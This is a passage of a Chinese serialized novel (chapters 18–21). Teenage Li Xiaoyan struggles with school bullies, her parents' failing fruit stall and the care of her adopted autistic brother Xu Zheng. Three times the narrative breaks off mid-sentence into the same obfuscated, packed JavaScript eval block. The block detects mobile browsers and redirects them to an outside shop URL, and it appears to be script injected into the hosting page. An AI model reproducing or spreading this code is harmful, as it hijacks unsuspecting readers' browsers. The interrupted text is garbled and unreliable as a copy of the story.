刘家豪叹一口气,他真的对自己这个妹妹有点没招,人人都有自己的软肋,他的软肋好像一直都是他这个脑子里没点常识的现世宝妹妹。 但刘家豪也不能把小铮是自闭症的事实抖出来,因为许铮不是他弟弟,他并没有权利把这件事当众说出来。 “只是随便聊聊,说说学习上的事,我问问她学习上的事。” 刘宁听了不依不饶:“你还有问别人的时候?我可从来没见过你问别人,你别糊弄我,我还不知道你什么毛病,总觉得自己最牛逼,最聪明,别人都傻,连说话都费劲。” “吁——”周围一片嘘声,虽然他们都知道刘家豪有点不爱搭理人,但背后原因被他妹妹这么直截了当捅出来,还是有些心酸。 刘家豪站起来拍了一下桌子:“你少胡说。” 刘宁也叉着腰吼道:“我才没有胡说。你敢说你不觉得别人傻,所以才不愿意理他们。” 刘家豪在心里面长长长长叹一口气——别人不傻,你傻。 就在大家又一次爆发出嘘声时,教室的门被人重重拍了几下,一帮人即刻转头看向前门,李晓言倚靠在门边,冷着脸旁观这幕闹剧。 18. 第 18 章 本来她的突然出现应该是更大的戏剧高潮,周围观众也该爆发出更大的响动的,但李晓言那张脸上有一种说不出的见鬼杀鬼见佛杀佛的冷酷感,除了一个胆大的“嗷”了一声哑火后,其他人都不敢多说一句话。 这个贵的要死的学校里,百分之九十都是温室里长大的好孩子,只有百分之十是像李晓言这样的恶霸,不分男女。但李晓言和其他恶霸不一样,她不打群架不整蛊老师不抱团,也不威胁什么胆小软弱的同学,但就连学校里最牛叉的那个二世祖吴天灏也没有招惹过她,所以所有人都把李晓言自动归于“极其不好惹”的那一栏。 吴天灏当然不敢惹李晓言,因为那天砸李晓言家货摊的那两个混混是他爸的打手,他正好坐在车上跟他爸谈完生意回家。所谓的谈生意无非是在牌桌上故意输钱,输掉十来万后终于把一个项目给拿到手了,他爸路过小摊时突然想吃果子,便让两个手下去买,但也不知道为什么,那两个混混和李晓言爸争执起来了。 然后他亲眼看见李晓言抓起一块石头把那个混混的脑袋砸开了花,那种瞬间不要命的状态把这个二世祖看懵了,他在学校里就注意到了李晓言,一直想找个机会招惹她,但那晚过后他就打消了这个念头。他爸了解了一下李晓言的情况,也没去找她麻烦,只让他儿子和她走近些,把关系弄好点。 不要命的他见得多,但是这种不要命成绩好,还能老老实实赚钱糊口,还是个女孩的,他见得不多,李晓言未来能不能有所长他不知道,但让儿子多个这样的朋友也是不错的。 所以李晓言一出现,所有人都鸦雀无声了。 李晓言:“刘家豪,你出来一下。” 刘家豪面无表情的从人堆里走出去,跟着李晓言到走廊上。 “什么事?” “这个周六你们班上不上课?” “应该不上。” “我们班也说了不上,那个,帮我个忙,我要补补觉,周六你教他学点东西。” 刘家豪看出了李晓言气色差,有些好奇:“你昨晚干什么了,脸色都灰了。” 李晓言:“教他撒尿,一晚上起来了三四次,一夜没睡。” “哦,”刘家豪忽然有点想笑,“我觉得吧,你这个姐当的,真比亲姐还亲。” 他使劲拍了一下李晓言的肩膀:“放心吧,我肯定会全力帮你。” 李晓言也毫不避讳的握着拳头在刘家豪胳膊上碰了一下,轻轻一笑:“谢了,我先走了。” 李晓言转身走后,班上那群人才重新爆发出此起彼伏的哄笑声,刘宁的眼泪夺眶而出,直接跑出去了,还故意撞了刘家豪一下。刘家豪看着她的背影实在有些不明白。 为一个李晓言哭成这样,值得么? 好歹是双胞胎,他妹的心思他多少能猜到一点。 虽然这人长得扎眼,成绩好,也讲情义,但她那张不苟言笑的冰川脸,还有那一心向钱看的人生理念,刘家豪实在看不出有哪点可以吸引到自己妹妹神魂颠倒的。 他一直觉得,李晓言身上唯一的那点温情,恐怕都用在小铮身上了,可能是因为小铮傻,所以她不能不把自己变成老母鸡。 国旗下演讲是项大家都知道没什么意义却理所应当觉得不能不做的事,李晓言在台上面无表情的瞎编着,众人在下面呵欠连天的听着,除了几个资深颜狗还能靠着台上那人的美貌抵挡睡意连天外,其他人基本上已经处于半云游状态。 “……在新的一年里,我们会更加努力,提升自我,弥补不足,为了理想而奋进……” 李晓言说完后鞠了一躬,赶紧跑下台去,她的班主任周君刚要伸手拍拍李晓言的肩膀,就被李晓言侧身一闪躲开了。 “你这孩子,”周君叹了口气,“快回队伍里去。” 李晓言一身不吭的走回班级队伍,她站在吴天灏后面,吴天灏转过半个身子瞧她。 “晓言,你昨晚干什么了,一个脸都快跟锅底一样黑了。” 李晓言站在原地都有要倒下去的趋势,只是“嗯”了一声,便站在那里半闭着眼睛。 吴天灏没看见,继续说着他的话:“晓言,三中有个特别欠的人,是个女的,自称是三中校霸,她下面的人打了我们一个小兄弟,我们放学后要去收拾她,你去不去。” 李晓言在云里雾里的听了个大概,轻声说:“是你们,不是我们,我从来没有加入过你们。” “哎,别这么见外嘛,我拿你当自己人。”吴天灏往后倾了一点,离李晓言更近一些,“以后你就叫我哥,让大家知道你是我的人,看谁敢欺负你。” 这话把李晓言都给说精神了,她半眯着眼,在吴天灏耳边悄声说:“你觉得谁敢欺负我?嗯?” 吴天灏转过头,看见李晓言暗沉的脸上挂着一双更暗沉的眼睛,好像那种凝固了很多时光的黑色金属,瞬间就不说话了,他百折不挠的拉拢了李晓言很多次,但李晓言从来没有松过口。 按他惯常的性子,这种人就该一次性打服了,让她不答应都得答应。 但他想起那天晚上李晓言抡着个板砖拍人的鬼样子,就觉得浑身发软。 这帮班霸校霸,遇到个社会混混都不一定能挺得直腰板,但李晓言遇到那帮社会打手却毫无顾忌的往前冲,这战斗力,他实在没法匹敌。 “不是,晓言,加入我们有什么不好,以后哥罩着你,多个朋友多条路不是。还是你嫌弃我是学渣,不配跟学霸做朋友,啊?” 李晓言瞟了他一眼,她实在不明白这家伙为什么这么执着自己。吴天灏他爸是这城市里几大老板之一,有几个酒店和一个酒厂,对于这样的人,李晓言从来没有想过要巴结或者高攀,或许是因为自尊心作怪,她对这种人总是隔得远远的,不喜欢和他们有什么交集,哪怕她缺钱缺的要命,也只想靠自己一分一毛的去挣。 她会打架,打得还不错,但她从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445311|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在学校里显露过,她不知道吴天灏是从何处看出她有帮着打群架这种潜质的,一直有些纳闷。 校长发完言后,大家一哄而散,迅速回自己教室,这个学校虽然贵,但确实贵的有道理,请的老师都是相当有水平的,管理上也非常严格,所以这帮孩子总体上还是非常紧张的,就连吴天灏这种人也不敢慢悠悠回教室,虽然总是最后一个压轴回归,但也跟前面那个只隔了两三步的距离。 上课的时候,李晓言坐在教室最后一排,靠近垃圾筐的位置,数学老师在上面口水四溅的讲着,她实在撑不住了,便趴在桌子上睡着了。 她也不知道自己为什么这么困,暑假和寒假帮着守夜摊做买卖的时候,她也没觉得自己这么疲惫过,大概是昨晚除了没睡以外,她还时时刻刻处于紧绷状态,不知道许铮什么时候尿裤子,所以一直神经兮兮的注意着。 今天早上弦一松,她就垮了。 她觉得脸上有什么东西在敲击,等到了七八下后,她才渐渐清醒过来,刚一睁眼,就看见一个黑色的影子直直向她射过来,李晓言赶紧偏头,动作幅度太大,差点连人带桌都倒在地上。 只听“砰”的一声脆响,那黑影碎成了玻璃片,里面的茶水四溅开来,溅到了后排那几个人的书页上。 “李晓言!没睡醒是不是!没睡醒就出去睡!在老子的课堂上就给老子好好听!不想听就滚!” 数学魏除了茶杯崩了,他连声音也崩了,虽然他一直是以狮子吼的绝活震慑学生的,但今天尤其惨烈,那声音在教室里回旋一圈,感觉要把墙都给震碎了。 李晓言啧啧哎哎了好几声,何必呢,为了把她弄醒居然连茶杯都不要了,那茶杯双层保温的,是个牌子货,贵的李晓言肉疼。 李晓言双手揣兜里,无所谓的从后排出去了,后排的那几个人赶紧给李晓言让出一条道,李晓言出去后去厕所洗了把脸,感觉清醒一些了,刚出来时就听到了下课铃的声音。 “靠,我居然睡了半节课。”她忽然觉得数学魏能等她睡完半节课才发作,要么就是数学魏今天眼花了,要么就是数学魏忍功长进了,不管是哪个,她都觉得挺神奇。 更神奇的是她居然能睡半节课,这简直是她上初中以来创造的记录,这个华丽的鬼学校,逼的所有人都跟上了发条一样,她原本的概念里面,考试只有期中考和期末考两种,但这个学校居然还有周考、月考和半期考,除了周考外都有正式的排名,周末经常上课,真他妈令人发指。 李晓言觉得自己已经渐渐习惯了这种逼疯人的节奏,她站在阳台上看着那些跑出来放风的学生,突然有点心慌,再过半年她就初三了,小铮也该到六岁了,他这个年纪的孩子都应该上小学了,小铮要怎么办? 她当初鬼使神差想要收养许铮的时候,根本没细想过这些问题,或者是想也想不出实感,如今看着这满学校的学生她才突然觉得,这么大的压力,许铮要如何去面对? 19. 第 19 章 如果面对不了又如何,一辈子不上学么? 而她又能照顾许铮多久,如果将来她去读大学,离开这个城市的话,许铮要怎么办? 别说大学,就连近在咫尺的高中生活,她也有些迷茫了。初中不用住校,她还可以每天回去,但本市最好的高中是第一中学,是强制性住校,每周只放半天,到那个时候又有谁能教许铮,她妈么? 寒假期间她整个人都是收箱装箱卖货算钱,没有时间和精力去想这码事,但一开学看到这满校园的学生,才让她有些回过神来,这也是不得不面对的生活现实啊。 这些事都没办法细想,一想就慌,她一时找不到办法,只好强行掐断自己的思路,走回教室。 后面的课倒是一帆风顺的漂流完了,她属于觉少的,所以睡了半节课后就精神了一上午。 到中午吃饭的时候,所有人都在食堂排队等着,好多初一初二的小女生小男生看见她,叽叽咋咋议论个不停,那神情好像是在窃窃私语生怕她听到,但那声音却好像是生怕她听不到一样。 “你看见了吗,咱们学校的校花,李晓言。” “是啊,果然长得好看的人不挑发型。” “听说她跟刘家豪好上了。” “啥!?他俩八竿子打不到一块儿吧。” “不,听刘宁说是邻居,住在棚户区那边,家里不太好,沿街卖水果的。” “哎,说的我都心疼了,为啥是刘家豪啊,啧啧。” “听说啊,不仅男生喜欢她,还有女生也喜欢她,那个刘宁就是其中之一。” “长这么好看,家却这么穷,可惜了。” …… 开学回来,李晓言减了个利落清爽的短发,原本就高瘦的个子往人堆里一站,不想引人注意都不行,她已经习惯别人的目光,但依旧很讨厌这种关注和议论。 换成初一,她能当场黑脸走出去,不吃饭也可以。但这半年多的磨砺强行给她的心安装了一个抗压板,虽然抗压效果还不是太好,但她能把这些都给忍下去。 有很多时候她都在想,要是她在一个普通的学校,周围都是跟她差不多一样的学生,她的人生会不会好过一点,心里会不会轻松一点,在这个格格不入的学校里,她一直觉得自己本性被四面八方的墙壁压迫着,想要吼都吼不出声,只能默默忍着,忍着让自己变得更加强大,忍着让心上的抗压板再加厚几层。 她打完饭找一个角落的桌子走过去坐下,这个时间没有空桌,那个桌子已经坐了几个初三的学生,初三学生压力大,没那么多话,都一言不发的吃着饭,这种气氛正好是李晓言需要的。 但没想到她刚吃一筷子花菜,边上就投下一片阴影,她侧头一看,是刘家豪。 周围也很应景的想起一大片起哄声。 对面那个初三的男生很有眼力价,立马起身端着餐盘走了,刘家豪坐在李晓言对面,这两个人都有一种泰山崩于前而自行入定的本事,所以周围的沸反盈天都在他们耳朵里变成了轻飘飘的鸿毛,没有什么影响。 “李晓言,我奶奶今天上午给我班主任打了个电话。”刘家豪挤挤眼睛。 “嗯,然后呢?”李晓言没明白山东大娘跟刘家豪班主任打电话跟她有什么关系,所以继续吃着她的花菜。 刘家豪看看旁边,旁边的男生也回看他一眼,乐呵呵笑道:“你们当我们是聋子,听不见,现在别的地儿也没座了,我们也不能站着吃吧。” 这帮初三学生是知道李晓言的,一般学校里出了风云人物都会传遍各个年级层,不管风云在什么地方,成绩逆天的、才艺出众的、长相扎眼的、体育特长的、还有爱打架生事的……其中长相扎眼的永远排第一,颜狗的战斗力放哪里都是所向披靡。 刘家豪想想也是,他看着李晓言,李晓言还浑然不觉的吃着饭,便尽量想个委婉的形容。 “那个李晓言,小铮……” 李晓言顿时抬起头。 “奶奶说叔叔阿姨不在家,她不知道怎么办。” 李晓言:“他怎么了?” 刘家豪:“在叫。” 李晓言站起身,她看了一眼食堂的时间,中午有两个小时的午休时间,她跑回家再跑回来的话,时间应该还够。 李晓言:“我回去一趟。” 刘家豪:“嗯,餐盘放这里吧,我帮你扔。” 李晓言看洗碗间那边,来得早的已经排长队倒餐盘了,便把餐盘搁桌上,快步往外走,一到外面的小路上,她就拔腿往家跑,天气很冷,割人的小风直往脸上扑,她越跑越快,心里算不上焦躁也算不上平静。 她从来没有听许铮尖叫过,哪怕福利院的工作人员说过他那段时间有自残行为和尖叫行为,但她自己却从来没有亲耳听到过。李晓言不知道该怎么办,她从那些杂志上看到过,这种病会随着时间推移生发不同的症状,她不知道这种尖叫算不算一种新的症状。 该怎么办? 他为什么叫? 收养真的错了么? 自己真的给这个家带来了大负担? 这些念头在她脑海里飞掠而过,和着冷风一刀刀划破她的大脑,或许是因为昨晚没睡好太累了,李晓言第一次出现这种恐慌和愧疚感。 当她跑到山东大娘屋前时,才知道“尖叫”两个字是一个弱化了的表达,许铮简直是不打算要嗓子了一样,那声音几乎要刺穿李晓言的耳膜和心脏,让人压抑的发慌。 门没关实,虚虚掩着,李晓言推门而入,许铮坐在地上张着嘴大声尖叫,双眼睁得老大,好像见到了什么恐怖的景象。 山东大娘一看李晓言进来,赶紧把耳朵里的纸团扯出来,拉着她的衣服:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445312|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家可算来人了,你爸妈说出去买三轮车,结果到现在也没回来,我真不到怎么办了。” 李晓言大步走到许铮面前,蹲下来轻轻拍打他的脸:“小铮,小铮,你还认识我吗?我是姐姐。” 许铮就像完全没看到她一样,还是声嘶力竭的尖叫着,他叫的久了,声音都有点哑,李晓言觉得他喉咙应该都快叫出血了。 她又打了他几下,加重了力度。 “别再叫了,信不信我抽你。” 许铮边叫边转动眼珠,斜着看了她一眼,但那阵势却丝毫没有减弱。 李晓言抬手在他后背抽了一下,力量不小,许铮懵了一瞬,却叫的更猛烈了。 山东大娘赶紧过来拉住她:“他姐,别打了,这孩子小,打不得。” 李晓言:“他怎么突然这样?” “我也不知道,他今天一直很焦虑,我刚出去扯了点青菜,结果一回来就发现他尿裤子了,我原本想拿家豪小时候的裤子给他换上,结果他就叫起来了,我也不知道怎么办,只能给家豪班主任打个电话。” 李晓言捏了捏眉心,看着许铮湿漉漉的裤子,感觉自己昨晚一夜不睡的行为真的是太傻逼了。 她什么话也没说,就冷着脸走了出去,大口呼吸了几下,待心绪平复之后,才走进来一把将许铮抡进了手里,使劲扯下了他的裤子。 许铮忽然不叫了,他提起拳头就朝李晓言打了过去,乱七八糟的拳头打在李晓言的肚子上,还有些力道,亏得李晓言是个皮糙肉厚的,她忍下这些拳头,把许铮的裤子扒拉下来,一阵恶臭扑面而来,原来不仅仅是尿裤子了。 山东大娘赶紧去厕所倒了一盆热水,再调和上凉水,李晓言一手握住许铮的两只手腕,一手扯着他的衣领,几乎是把他提到了厕所,许铮的脖子被衣领勒的紧紧的,有些喘不上气,他想挣脱开自己的双手,却发现李晓言的手力道太大,根本就挣脱不开。 李晓言囫囵的将许铮洗干净,又给他换上了干净的裤子,许铮被放开双手后一直想抓李晓言的头发,但李晓言刚刚剪了短发,他抓不到东西。 “对不住了,给您添麻烦了。”李晓言看着山东大娘,有些愧疚。 “行了,晓言,这孩子的事大家都知道,但我没想到他还能叫唤,我以前都没听他出过声,还以为是哑巴。”山东大娘拍拍李晓言的肩膀,“你赶紧回学校吧,都一点多了,再晚就要迟到了。” 李晓言看了许铮一眼,许铮也瞅着她,李晓言站起身对山东大娘说:“他要还叫,就直接往他嘴里塞布团,或者把他绑起来。” “行了,快走吧,你爸妈应该要回来了,他见到他们应该就不会叫了。” “嗯。”李晓言点点头,不知道为什么,她现在很想来一只烟,哪怕她第一次抽那玩意儿时有点恶心想吐,这时候却特别想来一根。 20. 第 20 章 李晓言出门后又快步跑回学校去了,这个学校就是这点最烦人,绝对不能够迟到,如果迟到了就会请家长,请够三次就直接记大过,就连吴天灏那种学渣表率也不敢迟到第三次,李晓言觉得自己简直要被这个严苛的学校逼疯了。 她跑的大汗淋漓,坐回座位后才喘了两口气就听到了上课铃声,下午的课是两节英语,李晓言最烦的科目,她强撑着精神一分一秒的熬着,避免让自己因为饥饿寒冷疲惫而栽倒下去,脑子里还时不时想起许铮方才的那副神情,瞳孔放大了一圈,好像没认出她似的。 她实在想不明白,这孩子在他妈被捅死那天都面无表情的看完了全程,怎么今天就被裤子弄脏这种事吓成了这样,他到底是进步了,还是越来越严重了? 李晓言爸妈差不多到夜里八点才回家,他们买了两个货三轮,也买了两车的货,全都归置好了放在货三轮上面,李晓言妈到家后匆匆吃了一碗冷饭,又拎着饭盒赶去三岔路口摆摊了。 三岔路口已经排了五家水果摊。 竞争完全超过了他们的想象,赚钱的渴望和敏感,不单单只是他们有,绝大多数人也有,而且这行业起步门槛低,要进来并不难。 一直到晚上李晓言上完晚自习回家,他们才卖了两斤梨,李晓言爸妈整个脸比一夜不睡的李晓言还黑。 李晓言看见情况,也不多问她爸妈,便去山东大娘那里把许铮抱出来,中午给他换好的裤子又湿了,许铮依旧不会脱裤子尿尿,但好在中午把嗓子叫哑了,估计他自己都觉得痛,所以下午就没叫了。 李晓言抱着他回家,把屋里的门打开,一进门就看见空荡荡的屋子里只有几件破破烂烂的家具,她第一次觉得这些简陋陈设这么刺眼,简直比她第一天搬来时还刺眼。 或许是今天食堂里那句“她家不太好,沿街卖水果的”扎住了她的心,也或许是被许铮今天突如其来的尖叫给弄懵了,李晓言只是一个十几岁的少女,而且并不是一个神经过于大条的少女,她在强忍强撑,但并不表示这些事就完全不会影响到她。 李晓言把许铮放下来,她正眼也不瞅许铮一眼,便将他关在了房间里,自己走了出去。许铮听到锁门声后,便蹲在地上静静的等待着,等待着李晓言来把他领走。 他虽然不知道他姐今天是怎么了,但他能从她的情绪里感受到一点点,那是一种压抑和紧绷。 许铮其实很想对李晓言说,他已经知道尿尿不能尿在裤子里,要尿在那个小黑桶里,但他控制不住自己的身体,哪怕他明白了,他也说不出自己的想法,也没办法去扒下自己的裤子,去找那个小黑桶。 所以他只能尖叫。 他只能用尖叫来表达自己的想法,李晓言回来以后,他的城堡好像出现了暂时性的封闭,他没有在李晓言出现的那一刻认出她,直到李晓言扒下他的裤子时,他才被这熟悉的动作唤醒了。 他想告诉他姐他裤子脏了,但他表达不出来,他不知道怎么跟李晓言交流,身体却不由自主的开始动了起来,胡乱拍打,就跟他在福利院里自残一样,他想沟通,却不知道怎么沟通,巨大的情绪压力让身体产生了奇怪的反应,完全不受他控制的动了起来。 许铮确实进步了,从封闭的城堡里渐渐往外走,试图去理解外面的一切,但这种变化所出现的挑战,不仅仅让李晓言懵了,连他自己也懵了。 李晓言在生气,在郁闷,在疲惫,他能感觉到,这让他恐惧。 李晓言慢慢走到三岔路口,街上的行人已经不多了,但那一排的水果摊都没有要收摊回家的意思,看来他们也有守夜的打算,晚上的生意恐怕更加难做了。 这就是做生意,永远没有定数,旱一年,涝一年,市场永远在变,裹在其中的人永远不知道明天会发生什么。 这两个三轮车再加上满满两车的货,他们一共投入了两千多,这笔钱对他们来说,如果丢掉了,是足以让他们变得恐惧生存危机的一笔钱。 穷人亏不起,永远在害怕,害怕没有明天。 李晓言的爸妈又当街吵了起来,李晓言看见一个铁饭盒被摔倒了街中心,摔变了形,不用问她都知道这是她爸砸坏的,周围的人也没有劝架的,甚至还笑嘻嘻的看着,李晓言爸不打人,但他火气上来了就按捺不住,把那些苹果梨橘子一个个往地上砸,还有抱起整箱往地下砸的趋势。 李晓言停住了脚步,不知道为什么,她并不想上前去阻止,这种场景她看习惯了,就有点淡漠了,除了抱怨压抑谩骂指摘,还能剩下什么?这世上还有没有另外一种活法?一种没有这种恐怖气氛的活法。 李晓言没有上前,她拐了个弯,找高凡去了。 市中心的饭馆还在营业,但已经过了高峰期,高凡在后厨收拾着酱料,李晓言站后门敲了敲门,高凡抬头看她,满头是汗。 高凡赶紧洗了手,走到后门外,往李晓言肩膀砸了一拳。 “闺女,你怎么来了,你们学校不是还要上早自习么,你怎么不早点睡。” “心里烦,来你这里说说话。”李晓言看他满头大汗,忽然有点羡慕,“我也想出来打工,不读书了。” “你说什么胡话?”高凡看着她的眼神,忽然觉得这丫头或许不是在说胡话,他转回去拿了一瓶啤酒,把李晓言拉到边上角落里,两人蹲在一个石梯上瞅着前方的灰白墙壁,李晓言拐了他胳膊肘一下,“有烟么?” 高凡边咬瓶盖边摇头:“没,我上次和你抽完那根以后,就被我爸闻出来了,我爸拿个锅铲追着我满饭店打,脸都掉没了。” 李晓言忽然有点想笑,她没绷住就真笑了。 高凡瞥了她一眼,喝了一口啤酒:“我说晓言,你丫有点同情心行不行,我爸那可是真打,没做样子。你呢,你爸没发现?” “发现了。”李晓言也喝了满满一口啤酒,心里的郁闷压抑才终于缓解一些,“没说什么,他能说什么。” 高凡啧啧两声,李晓言家的情况他门儿清,他这位朋友的气场从小学就开始露出了端倪。那会儿他还奇怪这傻逼丫头片子怎么浑身都是刺儿,好像全世界都在跟她为敌一样,但后来亲眼目睹她爸妈的一场大战之后他才明白,李晓言的这身气场是怎么煅炼出来的。 从那时候起高凡就打心眼里服李晓言,因为那种环境里长大的孩子不止她一个,但绝大部分都被同化了,完全没有反抗和招架之力。但李晓言一直在忍,她没有被同化,也找不到冲破的办法,所以一直把那些乱七八糟的东西都强忍在心里,一年两年三年……都是如此,这么一路走过来,李晓言身上的那股劲儿就更厚重了,连她爸都降不住她。 “你来找我什么事?”高凡知道李晓言肯定不是单纯来看看他,不然不会今天来,“你家?” 李晓言冷笑着摇摇头:“就那样吧,可能会有新麻烦,生意难做了,两个人正在街上打架,我不想去拉架,也不想回家看见那个小兔崽子,就只能来你这里了。” “哦。”高凡叹一口气,但他也不知道说啥好,一直以来他都对李晓言家的事毫无办法,因为他家还算和顺,他爸有技术,他妈没上班脾气也温顺,偶尔斗嘴也只是添添情趣。 “那小崽子怎么样了?” 高凡依旧觉得李晓言收养许铮这件事相当无敌极其巨傻逼,他就没见过这么中二的人。 “还活着。”李晓言勾起一抹笑,“快死的人是我。” “怎么!?”高凡睁大眼瞅着李晓言。 “收起你的同情心,老子没得绝症。” “靠——” 李晓言叹了口气:“我也不知道怎么说,那孩子记忆力很好,比大多数人都好,但学东西太慢了,或者说不知道该怎么教他。那天我叫了刘家豪几声,他就学会了喊刘家豪的名字,但他应该不知道这两三个字是名字,我晚上教他撒尿,教了好多次,但他还是尿在裤子里,而且今天上午他一直尖叫了一个多小时,把嗓子都给叫哑了。我有点担心……” 李晓言沉默不语,高凡在别的人事上迟钝,但对李晓言却十分了解。 “你着急对不对,你想他快点好起来,然后好去上学,可以像正常人那样生活。”高凡又喝了一口酒,差不多把一瓶酒喝到见底了,“你寒假还能和他天天待一块儿,但开学了就没办法,学业重,叔和阿姨又那样,所以你一下站不稳了,有点慌了对不对,而且你还担心那小崽子会给你爸妈造成负担。” 李晓言猛地抬头看高凡,不知道说啥好。 “别那么含情脉脉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445313|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着我,我怕我心脏受不住,把你给扑倒了怎么办。”高凡贱兮兮笑了。 “……你他妈说话越来越油了。”李晓言也乐了。 “哈哈,你不知道么,不是流氓不进厨房,厨子不骚技术不高。”高凡说的挺得意。 “操,”李晓言看着他挑眉的得瑟劲儿,止不住笑了起来,“行啊,越长越出息了。” “姑娘家家的别嘴上操啊老子的,以后谁敢娶你。说正经的,不和你瞎扯淡,那你打算怎么办?我他妈还不知道你,别人烦就单纯烦,你丫说自己烦的时候,半边脑子就已经开始琢磨路子了。”高凡说。 “三条路。”李晓言竖起三根手指,“一,我退学打工,跟你一样学个技艺,把小崽子带身边。二,我帮着我爸妈做买卖,我觉得水果生意还有出路,最好有一间铺面,最好可以亲自各地买货,要做一个与众不同,不容易被取代的水果店。三,就这么着,继续读书,能熬一天是一天,等读大学报个好专业,可以找份稳定的工作,那个时候再看看有没有办法把小铮送到那些大城市里的大医院去看看。” 高凡沉默了好一会儿才说话:“我还以为这三条路里有一条,是要把许铮给送回去,退养。” 李晓言转过头看着高凡,眼神迷惑,有些恼怒:“我他妈是这样的人么?!” “丫头,”高凡拍拍李晓言的肩,长叹一口气,“我他妈真希望你是这样的人!你知不知道你这三条路,都是牺牲自己为别人铺路,我拜托你了晓言,有时候为自己想想死不了。” 李晓言一抖肩,甩开高凡的手:“没你说的那么伟大,我也要吃饭生存,也是为自己想。” “丫头啊,丫头,”高凡摇摇头:“你这三条路吧,我觉得还是第三条最合适,你爸妈绝对不会让你退学,你成绩好,他们也没有穷到揭不开锅,所以你退学的想法趁早断了好。许铮那病吧,就算你天天教他也不能保证他能进步多少对不对,要是你退学了天天教他,他就只能多说几句话,勉强学会吃饭撒尿,但你却牺牲了你整个学业,不值当……还不如未来有份好工作,把他当小猫小狗一样养着合适,你别嫌哥哥说话难听,只是觉得这样最为稳妥。” “嗯。”李晓言点点头就不吭声了,高凡的话她知道,也赞同,只是心里有些不甘心罢了,杂志上说这种病越长大越难干预,只有小的时候尽早干预才有效果,如果是第三条路,或许许铮一辈子也没机会变成正常人了。 晚上回家,李晓言发现三岔路口的水果摊只剩下两家,她爸妈砸坏了一车的果子,满大街都滚的是,两人歇火休战,她妈在后面的街沿上抽抽搭搭哭泣着,她爸蹲三轮车旁抽着烟,地下的烟头密密麻麻,估计这一下就抽了两三包。 旁边的水果摊也是两口子,正笑嘻嘻招呼着顾客,顾客买的挺多,三大袋满满当当,几乎把他们三轮货车刨了个坑。 “真是讽刺。”李晓言走过去,默默把箱子整理好,把两车剩下的果子合成一车,然后拧着眉对她爸说道,“你跟我妈要么把街上那些果子清理干净,要么回家睡觉,别在这里丢人现眼的。” “呸。”她爸站起身,把烟头扔地上用脚踩灭,然后转身就走了,她妈见她爸走了,才擦着泪走过来,期期艾艾说道:“晓言,你明天不上学么,你回去睡,我来守。” 李晓言觉得一腔怒火正在胸膛里爆燃,但她还是努力控制住了,冷着脸说:“我睡大街,你要真想帮忙就给我拿床席子和被子出来,还有小铮,他晚上可能会尖叫,你把他也弄出来,我不想他和你们待一块儿,他会怕。” 李晓言妈抬头看着她,哭着说:“你爸要逼死我,你也要逼死我对不对,你回去,让我来守,那个鬼日出来的最好明天就死,我怎么这么命苦。” “我说——”李晓言指着自己,“我来守,把小铮抱出来,你的命不苦,被你们生出来的我才苦,你能选老公,我却选不了爹妈,懂了吗?我睡大街也比睡那屋里踏实,你要真想帮忙就别废话了,我不想跟你在大街上吵。” “晓……”李晓言妈还想说,却被李晓言冷漠的眼神激了一身鸡皮疙瘩,她哭着往回走,喃喃说道,“你怎么这么冷,你简直没有温度,你的心是铁做的吗?” 李晓言听了简直想笑。 21. 第 21 章 夜里没风,李晓言捡了些柴火在边上烧着,做了个小火堆。 她把席子铺在三轮车后面,垫了层薄薄的棉絮,许铮被抱出来时她妈没心情给他换裤子,便原封原样的扔给了她。李晓言没辙,只好让许铮趴在自己的大腿上,然后屁股朝着那堆火烤裤子。 李晓言妈也不想和她爸呆在一个屋檐下,便把前两天捡到的一个躺椅拿出来,在李晓言背后的屋檐下安了个窝,隔了一段距离,李晓言知道劝不动她妈,就不劝了。 她妈是真累了,躺下去没多久就睡着了,甚至还打起了呼噜。 边上那两口子原本也打算守夜,但那个大买主扫了几大袋货后,整车货也没剩多少,他们觉得第二天肯定能卖完,就骑着车走了,不和李晓言玩命。 李晓言面无表情看着趴在她膝盖上的小铮,火堆的温暖让她前面的身子暖乎乎的,她把被子披在后背上,后背也渐渐暖了起来,温暖的火堆把她白天那些烦躁郁闷的心情也渐渐熔化了。 小铮的裤子慢慢变干,他也舒服了许多,像个吃撑了的小狗崽一样软绵绵的趴在李晓言的大腿上,他还是不能适应李晓言在白天的消失,他怕他姐突然彻底消失在他的世界里,他都不知道去哪里找。 李晓言做作业很快,都在晚自习搞定才回家,但这会儿也没人说话,她也不敢睡,就把英语课本拿出来打发时间,她所有书都放在学校的抽屉里,除了这本英语课本,这是她命中的克星,她得时不时和它培养感情。 